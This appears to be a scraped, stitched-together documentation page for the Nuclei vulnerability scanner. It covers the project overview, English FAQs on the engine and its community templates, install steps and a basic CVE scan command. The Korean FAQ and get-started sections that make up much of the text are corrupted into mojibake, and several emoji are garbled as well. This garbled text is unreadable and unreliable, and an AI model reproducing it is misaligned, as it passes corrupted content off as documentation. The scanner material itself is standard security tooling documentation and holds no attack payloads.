1. Project Overview & Quickstart (projectdiscovery/nuclei)
nuclei
Nuclei is a fast, customizable vulnerability scanner powered by the global security community and built on a simple YAML-based DSL, enabling collaboration to tackle trending vulnerabilities on the internet. It helps you find vulnerabilities in your applications, APIs, networks, DNS, and cloud configurations.
Repository Details
- Repository: projectdiscovery/nuclei
- GitHub Stars: โญ 32,079
- Primary Language: Go
Note: High-volume repository documentation is actively indexed and synchronized by YakaAI.
2. Official Technical Reference & Guides (projectdiscovery/nuclei-docs)
File: docs/faq/nuclei.md
??? info "What is nuclei?"
Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.
It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.??? info "What was the genesis behind nuclei?"
Traditional scanners always lacked the features to allow easy-to-write custom checks on top of their engine. And this is why we started developing Nuclei with a core focus on simplicity, modularity, and the ability to scan on many assets.
We wanted something simple enough to be used by ==**everyone**== while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.??? info "What modules does nuclei engine support?"
Nuclei engine supports the following type of modules.
- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)??? info "What kind of scans can I perform with nuclei?"
Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.??? info "How well-maintained is this project?"
The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.??? tip "How can I support/contribute to this project? ๐"
To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.
If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).??? warning "I found results with nuclei. When should I report it?"
**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.
??? tip "How do I validate nuclei results?"
Once nuclei finds a result, and you have vulnerable ==target== and ==template==, rerun the template with ==`-debug`== flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.??? warning "How much traffic does nuclei generate?"
By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.
!!! info ""
As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.??? warning "Is it safe to run nuclei?"
We consider two factors in regards to calling nuclei =="safe"== -
1. The **traffic** nuclei makes against the target website.
2. The **impact** templates have on the target website.
!!! check "HTTP Traffic"
Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.
!!! check "Safe Templates"
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can only be executed when explicitly invoked using the `-itags` option.??? info "What is nuclei's license?"
Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).??? info "I have more questions! ๐"
Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).??? warning "Missing dependencies in headless mode on Linux"
Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
Ubuntu
With snap:
```sh
sudo snap install chromium
```
Without snap:
```sh
sudo apt update
sudo snap refresh
sudo apt install zip curl wget git
sudo snap install golang --classic
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt update
sudo apt install google-chrome-stable
```
In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
```
sudo apt-get install libnss3 libgconf-2-4
```
If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:
```
sudo apt-get install libnss3-dev
```
Error type examples:
```
Error: Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
```
```
could not create browser
```
```
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
Please install it with:
snap install chromium
```File: docs/faq/templates.md
??? info "What are nuclei templates?"
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.??? info "How can I write nuclei templates?"
We maintain a [documentation guide](https://nuclei.projectdiscovery.io/templating-guide/) for writing new and custom nuclei templates. We also have [sample templates](https://nuclei.projectdiscovery.io/template-examples/http/) for various modules nuclei supports.??? tip "Is writing nuclei templates useful?"
Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.
Here are few examples from the community making use of templates to automate the security findings.
??? Reference
- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/??? info "How do I run nuclei templates?"
Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.
```
nuclei -tags cve -list target_urls.txt
```??? info "I want to contribute nuclei templates! ๐"
You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.??? warning "I'm getting false-positive results!"
The nuclei template project is a community-contributed project. The ProjectDiscovery team manually reviews templates before merging them into the project. Still, there is a possibility that some templates with weak matchers will slip through the verification. This could produce false-positive results. Templates are only as good as their matchers.
If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.
??? info "I found a template producing false positive or negative results, but I'm not sure if this is accurate."
Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.
??? info "I found a template producing false positive or negative result and I don't know how to fix it."
Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.
??? info "I found a template producing a false positive or negative result and I know how to fix it."
Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.??? warning "I'm not able to run all templates!"
The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.??? warning "Templates exist on GitHub but are not running with nuclei?"
When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.File: docs/kr/faq/nuclei.md
??? info "Nuclei๋ ๋ฌด์์ธ๊ฐ์?"
Nuclei๋ ๊ฐ๋จํ YAML ํ
ํ๋ฆฟ์ ๊ธฐ์ด๋ก ํ ๋น ๋ฅธ ๋ง์ถคํ ์ทจ์ฝ์ ์ค์บ๋์
๋๋ค.
2๊ฐ์ ์์๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - ์ฝ๊ฒ ์ฝ๊ณ ์ธ ์ ์๋ YAML ๊ธฐ๋ฐ ํ์์ผ๋ก HTTP/DNS/๋คํธ์ํฌ/ํค๋๋ฆฌ์ค/ํ์ผ ํ๋กํ ์ฝ ๊ธฐ๋ฐ ๊ฒ์ฌ๋ฅผ ์คํฌ๋ฆฝํ
ํ ์ ์๊ฒ ํฉ๋๋ค. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ์ฆ์ ์ฌ์ฉํ ์ ์๋ **์ปค๋ฎค๋ํฐ์์ ๊ธฐ์ฌํด์ค** ์ทจ์ฝ์ ํ
ํ๋ฆฟ์
๋๋ค.??? info "์ด๋ป๊ฒ ์์ํ๊ฒ ๋์๋์?"
๊ธฐ์กด์ ์ค์บ๋๋ ์์ง ์์ ์ฐ๊ธฐ ์ฌ์ด ๋ง์ถค์ ๊ฒ์ฌ๋ฅผ ํ์ฉํ๋ ๊ธฐ๋ฅ์ด ํญ์ ๋ถ์กฑํ์ต๋๋ค. ์ด๊ฒ์ด ๋จ์์ฑ, ๋ชจ๋์ฑ, ๊ทธ๋ฆฌ๊ณ ๋ง์ ์์
๋ค์ ์ค์บํ ์ ์๋ ๋ฅ๋ ฅ์ ์ค์ ์ ๋๊ณ Nuclei๋ฅผ ๊ฐ๋ฐํ๊ธฐ ์์ํ ์ด์ ์
๋๋ค.
๋๊ตฌ๋ ์ฌ์ฉํ๊ธฐ์ ๊ฐํธํ๊ธฐ๋ ํ๊ณ ํ๋ ์น์ ํตํฉ๋ ๋งํผ ์ถฉ๋ถํ ์ ๊ตํ๊ธธ ์ํ์ต๋๋ค. Nuclei์ ๊ธฐ๋ฅ๋ค์ ๋ณต์กํ ๋ณด์ ๊ฒ์ฌ๋ฅผ ๋งค์ฐ ๋น ๋ฅด๊ฒ ํ๋กํ ํ์
ํ ํ ์ ์๋๋ก ์กฐ์ ํ์ต๋๋ค.??? info "์ด๋ค ๋ชจ๋์ ์ง์ํ๋์?"
Nuclei๋ ๋ค์๊ณผ ๊ฐ์ ๋ชจ๋์ ์ง์ํฉ๋๋ค.
- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)??? info "Nuclei๋ฅผ ํตํด ์ด๋ค ์ข ๋ฅ์ ์ค์บ์ ํ ์ ์๋์?"
Nuclei๋ ๋ก์ปฌ ํ์ผ ์์คํ
์ ์์ค ์ฝ๋๋ ํ์ผ๋ค์ ์๋ **์น ์ดํ๋ฆฌ์ผ์ด์
**, **๋คํธ์ํฌ**, **์๋ชป๋ ๊ตฌ์ฑ ๊ธฐ๋ฐ์ DNS**, **๋น๋ฐ์ค๋ฌ์ด ์ค์บ๋**๋ฑ์์ ์๊ธฐ๋ ๋ณด์ ์ทจ์ฝ์ ์ ํ์ง ํ๋๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.??? info "์ด๋ป๊ฒ ์ด ํ๋ก์ ํธ๋ ์ด๋ป๊ฒ ์ ์ง๋๊ณ ์๋์?"
Nuclei ํ๋ก์ ํธ๋ ํ์ฌ [ProjectDiscovery](https://projectdiscovery.io/#/)ํ์ ์ํด์ ๊ฐ๋ฐ ๋ฐ ์ ์ง๋๊ณ ์์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ ์ผ๋ฐ์ ์ผ๋ก ๋งค 2์ฃผ๋ง๋ค ๋ฆด๋ฆฌ์ฆ๋ฅผ ์งํํ๊ณ ์์ต๋๋ค.??? tip "์ด๋ป๊ฒ ์ด ํ๋ก์ ํธ์ ์ง์/๊ธฐ์ฌ ํ ์ ์๋์? ๐"
ํ๋ก์ ํธ์ ๋ชจ๋ฉํ
์ ์ ์งํ๊ธฐ ์ํด์, ๋ชจ๋๊ฐ [template project](https://github.com/projectdiscovery/nuclei-templates)์์ ์๋ก์ด ํ
ํ๋ฆฟ์ ์์ฑํ๊ณ ์ปค๋ฎค๋ํฐ์ ๊ณต์ ํด์ฃผ๊ธธ ์ํฉ๋๋ค. Nuclei ํ
ํ๋ฆฟ ์ ์ฅ์๊ฐ ๊ณต๊ฐ์ ์ด๊ณ , ์ฆ์ ์ฌ์ฉ๊ฐ๋ฅ ํ๊ณ , ์ต์ ์ ์ ์งํ ์ ์๋๋ก ๋์์ฃผ์ธ์.
Nuclei๋ฅผ ์ฌ์ฉํ๋ฉฐ ์ฐพ์ ํฅ๋ฏธ๋กญ๊ฑฐ๋ ํน๋ณํ ๋ณด์ ๋ฌธ์ ๋ฅผ ์ฐพ์๊ณ , ์ด ๊ณผ์ ์ ์ฒด๋ฅผ ๋ธ๋ก๊ทธ์ ํํ๋ก ๊ณต์ ํ๊ณ ์ ํ๋ค๋ฉด [ProjectDiscovery blog](https://blog.projectdiscovery.io)์ ๊ฒ์คํธ ๊ฒ์๋ฌผ๋ก ์ฌ๋ ค์ฃผ์๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค.??? warning "Nuclei์์ ๊ฒฐ๊ณผ๋ฅผ ์ป์์ต๋๋ค. ์ธ์ ์ด๋ฅผ ์ ๊ณ (Report)ํด์ผํ๋์?"
**์ ์๋ง์** -- Nuclei์์ ๋ณด์ ๋ฌธ์ ๋ฅผ ์ฐพ์ ์ดํ์ ํญ์ ์ด๋ฅผ ์ ๊ณ ํ๊ธฐ ์ด์ ์ ๋ค์ ์ดํด ๋ณด๋ ๊ฒ์ด ์ข์ต๋๋ค. ๋ค์์ ๋ฌธ์ ๋ฅผ ํ์ธ/๊ฒ์ฆํ๊ธฐ ์ํ ํ์
๋๋ค.
??? tip "์ด๋ป๊ฒ Nuclei์ ๊ฒฐ๊ณผ๋ฅผ ๊ฒ์ฆํ๋์?"
Nuclei๋ฅผ ํตํด ๊ฒฐ๊ณผ๋ฅผ ํ๋ํ๊ณ , ์ทจ์ฝํ ๋์๊ณผ ํ
ํ๋ฆฟ์ ์๊ฒ ๋๋ฉด, ==`-debug`== ํ๋๊ทธ์ ํจ๊ป ํ
ํ๋ฆฟ์ ๋ค์ ์คํํ์ฌ ํ
ํ๋ฆฟ์ ์ ์๋ ์์ ๊ฒฐ๊ณผ์ ๋น๊ตํ์ฌ ์ถ๋ ฅ์ ๊ฒ์ฌํฉ๋๋ค. ์ด๋ฌํ ๋ฐฉ์์ ํตํด์, ์๋ณ๋ ์ทจ์ฝ์ ์ ํ์ ํ ์ ์์ต๋๋ค.??? warning "Nuclei๊ฐ ์์ฑํ๋ ํธ๋ํฝ์ ์ผ๋ง๋ ๋ง์๊ฐ์?"
๊ธฐ๋ณธ์ ์ผ๋ก **๋ชจ๋ nuclei-templates**์ ์คํํ ๋ ํ ๋์์๊ฒ (HTTP ํ๋กํ ์ฝ ๊ณผ ๋ค๋ฅธ ์๋น์ค ๋ชจ๋) ์ ์ฒ๊ฐ์ ์์ฒญ์ ์์ฑํฉ๋๋ค. ๋งค์ผ ์ถ๊ฐ๋๋ 3500๊ฐ์ Nuclei ํ
ํ๋ฆฟ์์ ๋น๋กฏ๋ฉ๋๋ค.
!!! info ""
๊ธฐ๋ณธ์ ์ผ๋ก [์ด ๊ณณ](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)์ ์๋ ์ผ๋ถ ํ
ํ๋ฆฟ์ ๊ธฐ๋ณธ ๊ฒ์์์ ์ ์ธ๋ฉ๋๋ค.??? warning "Nuclei๋ฅผ ์คํํ๋ ๊ฒ์ ์์ ํ๊ฐ์?"
Nuclei์์ =="์์ "== ํ๋ค๊ณ ๋งํ๊ธฐ ์ํด์ ๋ ๊ฐ์ง๋ฅผ ๊ณ ๋ คํฉ๋๋ค.
1. ํต์ด ๋์ ์ฌ์ดํธ์ ์์ฑํ **ํธ๋ํฝ**.
2. ํ
ํ๋ฆฟ์ด ์ฌ์ดํธ์ ๋ฏธ์น๋ **์ํฅ**
!!! check "HTTP ํธ๋ํฝ"
Nuclei๋ ์ง๋ฅ์ ์ธ ์์ฒญ ๊ฐ์ ๋๋ฌธ์ ํญ์ ์ ํ๋ ํ
ํ๋ฆฟ ์๋ณด๋ค ์ ์ ์์ HTTP ์์ฒญ์ ์์ฑํฉ๋๋ค. ์ผ๋ถ ํ
ํ๋ฆฟ์๋ ๋ค์์ ์์ฒญ์ด ํฌํจ๋์ด ์์ง๋ง, ์ด ๋ฃฐ์ ์ผ๋ฐ์ ์ผ๋ก ๋๋ถ๋ถ์ ์ค์บ ์ค์ ์ ์ ์ฉ๋ฉ๋๋ค.
!!! check "์์ ํ ํ
ํ๋ฆฟ"
Nuclei ํ
ํ๋ฆฟ์๋ ํผ์ง ๋ฐ ๋์ ์์คํ
์ DoS๋ฅผ ์ด๋ํ ์ ์๋ ๋ค์ํ ํ
ํ๋ฆฟ์ด ํฌํจ๋์ด ์์ต๋๋ค([๋ชฉ๋ก](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) ์ฐธ์กฐ). ์ด๋ฌํ ํ
ํ๋ฆฟ๋ค์ด ์ค์๋ก ์คํ๋์ง ์๋๋ก ํ
ํ๋ฆฟ์ ํ๊ทธ๋ฅผ ๋ฌ๊ณ ๊ธฐ๋ณธ ์ค์บ์์ ์ ์ธํฉ๋๋ค. ์ด๋ฐ ํ
ํ๋ฆฟ๋ค์ `-itags` ์ต์
์ ์ฌ์ฉํ ๋ช
์์ ์ธ ๊ฒฝ์ฐ์๋ง ์คํ๋ฉ๋๋ค.??? info "Nuclei ๋ผ์ด์ ์ค๋ ๋ฌด์์ธ๊ฐ์?"
Nuclei [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md)๋ฅผ ๊ฐ์ง ์คํ์์ค ํ๋ก์ ํธ์
๋๋ค.??? info "๋ ๋ง์ ์ง๋ฌธ์ ํ๊ณ ์ถ์ต๋๋ค! ๐"
[Discord server](https://discord.gg/projectdiscovery)์ ์ฐธ์ฌํ์๊ฑฐ๋ [Twitter](http://twitter.com/pdnuclei)๋ก ์ฐ๋ฝ์ ๋ถํ๋๋ฆฝ๋๋ค.File: docs/kr/faq/templates.md
??? info "Nuclei ํ ํ๋ฆฟ์ด ๋ญ๊ฐ์?"
Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) ๋ Nuclei ํ๋ก์ ํธ์ ํต์ฌ์
๋๋ค. ํ
ํ๋ฆฟ๋ค์ ๋ค์ํ ์ทจ์ฝ์ ์ ์ฐพ์๋ด๊ธฐ ์ํด ์คํ๋๋ ํต์ฌ ๋ก์ง์ ํฌํจํฉ๋๋ค. ํ๋ก์ ํธ๋ **์์ฒ ๊ฐ**์ ์ฆ์ ์ฌ์ฉ๊ฐ๋ฅํ **[์ปค๋ฎค๋ํฐ์์ ๊ธฐ์ฌํด์ค](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** ์ทจ์ฝ์ ํ
ํ๋ฆฟ๋ค๋ก ๊ตฌ์ฑ๋์ด ์์ต๋๋ค.??? info "์ด๋ป๊ฒ Nuclei ํ ํ๋ฆฟ์ ์ฅ์ฑํ ์ ์๋์?"
Nuclei templates ์ ์๋ก ์์ฑํ๊ณ ์ปค์คํ
ํ๊ธฐ ์ํ [๊ฐ์ด๋](https://nuclei.projectdiscovery.io/templating-guide/)๋ฅผ ์ ์งํ๊ณ ์์ต๋๋ค. ๋ํ, Nuclei๊ฐ ์ง์ํ๋ ๋ค์ํ ๋ชจ๋๋ค์ ๋ํ [์ํ ํฌํ๋ฆฟ](https://nuclei.projectdiscovery.io/template-examples/http/)๋ ์์ต๋๋ค.??? tip "Nuclei ํ ํ๋ฆฟ์ ์์ฑํ๋ ๊ฒ์ด ์ ์ฉํ๊ฐ์?"
ํ ์ดํ๋ฆฌ์ผ์ด์
์ ๋ณด์์ ํ๊ฐํ๋ ์ผ์ ๋ง์ ์๊ฐ์ ์๋ชจํฉ๋๋ค. ๊ฐ๋ฅํ ๋๋ง๋ค ๋จ๊ณ๋ฅผ ์๋ํ ํ๋ ๊ฒ์ ์ธ์ ๋ ์๊ฐ์ด ์ ์ฝ๋๊ณ ์ข์ ๊ฒ์
๋๋ค. ๋ณด์ ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๋ฉด, ๊ทธ ์ด์๋ฅผ ์ฌํํ๊ธฐ ์ํ์ฌ ํ์ํ HTTP ์์ฒญ์ ์ ์ํ์ฌ Nuclei ํ
ํ๋ฆฟ์ ์ค๋นํ๊ณ , ์ด๋ฅผ ํตํด ์ฝ๊ฒ ์ฌ๋ฌ ํธ์คํธ์์ ๋์ผํ ์ทจ์ฝ์ ์ ํ
์คํธํฉ๋๋ค. **ํ
ํ๋ฆฟ์ ํ ๋ฒ ์์ฑํ์ฌ ์์ํ ์ฌ์ฉํ๋ ๊ฒ**์ ๋ ์ด์ ์ทจ์ฝ์ ํ
์คํธ๋ฅผ ์๋์ผ๋ก ํ ํ์๊ฐ ์๊ธฐ ๋๋ฌธ์ ์ถฉ๋ถํ ๊ฐ์น์๋ ์ผ์
๋๋ค.
๋ค์์ ๋ณด์๊ด๋ จ ๊ฒฐ๊ณผ๋ค์ ์๋ํํ๊ธฐ ์ํด ์ปค๋ฎค๋ํฐ๊ฐ ํ
ํ๋ฆฟ์ ์ฌ์ฉํ ์์์
๋๋ค.
??? Reference
- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/??? info "Nuclei ํ ํ๋ฆฟ์ ์ด๋ป๊ฒ ์คํ์ํฌ ์ ์๋์?"
Nuclei ํ
ํ๋ฆฟ์ ์ด๋ฆ๊ณผ ํ๊ทธ๋ฅผ ํตํด (๊ฐ๊ฐ `-templates` (`-t`)๋ `-tags`ํ๋๊ทธ) ์คํ์ํฌ ์ ์์ต๋๋ค.
```
nuclei -tags cve -list target_urls.txt
```??? info "Nuclei ํ ํ๋ฆฟ์ ๊ธฐ์ฌํ๊ณ ์ถ์ด์! ๐"
Nuclei ํ
ํ๋ฆฟ์ ์ปค๋ฎค๋ํฐ์ ๊ณต์ ํด์ฃผ์๋ ๊ฒ์ ์ธ์ ๋ ํ์ํฉ๋๋ค. ํ
ํ๋ฆฟ์ ์ธ๋ถ์ฌํญ๊ณผ ํจ๊ป [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name)๋ฅผ ์ด๊ฑฐ๋ ๋ณธ์ธ๋ง์ Nuclei ํ
ํ๋ฆฟ์ ํฌํจํ์ฌ GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)์ ๋ณด๋ด์ฃผ์ธ์. ๋ง์ฝ Github ๊ณ์ ์ด ์๋ค๋ฉด, [discord server](https://discord.gg/projectdiscovery)๋ฅผ ์ด์ฉํ์
๋ ๋ฉ๋๋ค.??? warning "์๋ชป๋ ๊ฒฐ๊ณผ๋ฅผ ์ป์์ด์!"
Nuclei ํ
ํ๋ฆฟ ํ๋ก์ ํธ๋ **์ปค๋ฎค๋ํฐ์์ ๊ธฐ์ฌํ๋ ํ๋ก์ ํธ**์
๋๋ค. ProjectDiscovery ํ์ ํ
ํ๋ฆฟ์ด ๋ณํฉ๋๊ธฐ ์ ์ ์๋์ ์ผ๋ก ํ
ํ๋ฆฟ๋ค์ ๋ฆฌ๋ทฐํฉ๋๋ค. ๊ทธ๋ผ์๋, ์ฝํ matchers๋ฅผ ๊ฐ์ง ์ผ๋ถ ํ
ํ๋ฆฟ๋ค์ ํต๊ณผํ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค. ์ด๋ ์๋ชป๋ ๊ฒฐ๊ณผ๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. **ํ
ํ๋ฆฟ์ ๊ทธ matchers๋งํผ์ ์ฑ๋ฅ์ ๋
๋๋ค.**
๋ง์ฝ ํ
ํ๋ฆฟ์ด ๊ฑฐ์ง๋ ๊ฒฐ๊ณผ๋ฅผ ์์ํ๋์ง ํ์ธํ๊ณ ์ถ๋ค๋ฉด, ๋น ๋ฅด๊ฒ ๊ณ ์น๊ธฐ ์ํ ๋ค์์ ๋ช ๊ฐ์ง ๋ฐ๋ผํ ์ ์๋ ๋จ๊ณ๋ค์ด ์์ต๋๋ค.
??? info "์๋ชป๋ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ์๋๋ฐ, ์ ํํ์ง ๋ชจ๋ฅด๊ฒ ์ด์."
[Twitter](https://twitter.com/pdnuclei) ํน์ [Discord](https://discord.gg/projectdiscovery)์ DM์ ํตํด ํ
ํ๋ฆฟ์ ํ๋น์ฑ์ ํ์ธํฉ๋๋ค.
??? info "์๋ชป๋ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ์๋๋ฐ, ์ด๋ป๊ฒ ๊ณ ์น ์ง ๋ชจ๋ฅด๊ฒ ์ด์."
GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+)๋ฅผ ์ธ๋ถ์ฌํญ๊ณผ ํจ๊ป ๋จ๊ฒจ์ฃผ์ธ์. ๋ชจ๋๊ฐ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ณ ์
๋ฐ์ดํธ ํ๊ธฐ ์ํด ์ผํ ๊ฒ์
๋๋ค.
??? info "์๋ชป๋ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ๋ ํ
ํ๋ฆฟ์ ์ฐพ๊ณ , ์ด๋ป๊ฒ ๊ณ ์น๋ ์ง ์์์."
์์ ํ ๋ด์ญ์ GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)๋ฅผ ํตํด ์ ๋ฌํด์ฃผ์ธ์.??? warning "๋ชจ๋ ํ ํ๋ฆฟ์ ์คํ์ํฌ ์ ์์ด์!"
Nuclei ํ
ํ๋ฆฟ์๋ ํผ์ง ๋ฐ ๋์ ์์คํ
์ DoS๋ฅผ ์ด๋ํ ์ ์๋ ๋ค์ํ ํ
ํ๋ฆฟ์ด ํฌํจ๋์ด ์์ต๋๋ค([๋ชฉ๋ก](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) ์ฐธ์กฐ). ์ด๋ฌํ ํ
ํ๋ฆฟ๋ค์ด ์ค์๋ก ์คํ๋์ง ์๋๋ก ํ
ํ๋ฆฟ์ ํ๊ทธ๋ฅผ ๋ฌ๊ณ ๊ธฐ๋ณธ ์ค์บ์์ ์ ์ธํฉ๋๋ค. ์ด๋ฐ ํ
ํ๋ฆฟ๋ค์ `-itags` ์ต์
์ ์ฌ์ฉํ ๋ช
์์ ์ธ ๊ฒฝ์ฐ์๋ง ์คํ๋ฉ๋๋ค.??? warning "Github์ ์๋ ํ ํ๋ฆฟ์ด์ง๋ง Nuclei๋ก ์คํ๋์ง ์์์."
Nuclei ์คํํ์ผ๋ก ํ
ํ๋ฆฟ์ ๋ค์ด๋ฐ๊ฑฐ๋ ์
๋ฐ์ดํธํ ๋, ํญ์ ์ต์ ๋ฒ์ ์ ๋ฆด๋ฆฌ์ฆ์์ ๋ชจ๋ ๋ค์ด๋ก๋๋ฅผ ๋ฐ์ต๋๋ค. ๋ฆด๋ฆฌ์ฆ ์ดํ์ ์ถ๊ฐ๋ ํ
ํ๋ฆฟ๋ค์ [master branch](https://github.com/projectdiscovery/nuclei-templates)์ ์กด์ฌํ๊ณ ์ ๋ฆด๋ฆฌ์ฆ๊ฐ ์์ฑ๋ ๋ ์ถ๊ฐ๋ฉ๋๋ค.File: docs/kr/nuclei/get-started.md
**Nuclei** ๊ธฐ๋ฅ
!!! example "Features."
* HTTP | DNS | TCP | FILE ์ง์
* ์์ ๊ฐ๋ฅํ ํ
ํ๋ฆฟ
* ๋๊ท๋ชจ ์ค์บ๋
* ๋์ญ ์ธ ๊ธฐ๋ฐ ํ์ง
* ๋ณธ์ธ๋ง์ ํ
ํ๋ฆฟ์ ์ฝ๊ฒ ์์ฑ๊ฐ๋ฅ**Nuclei** ์ค์น
=== "Go"
```
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
```
!!! info
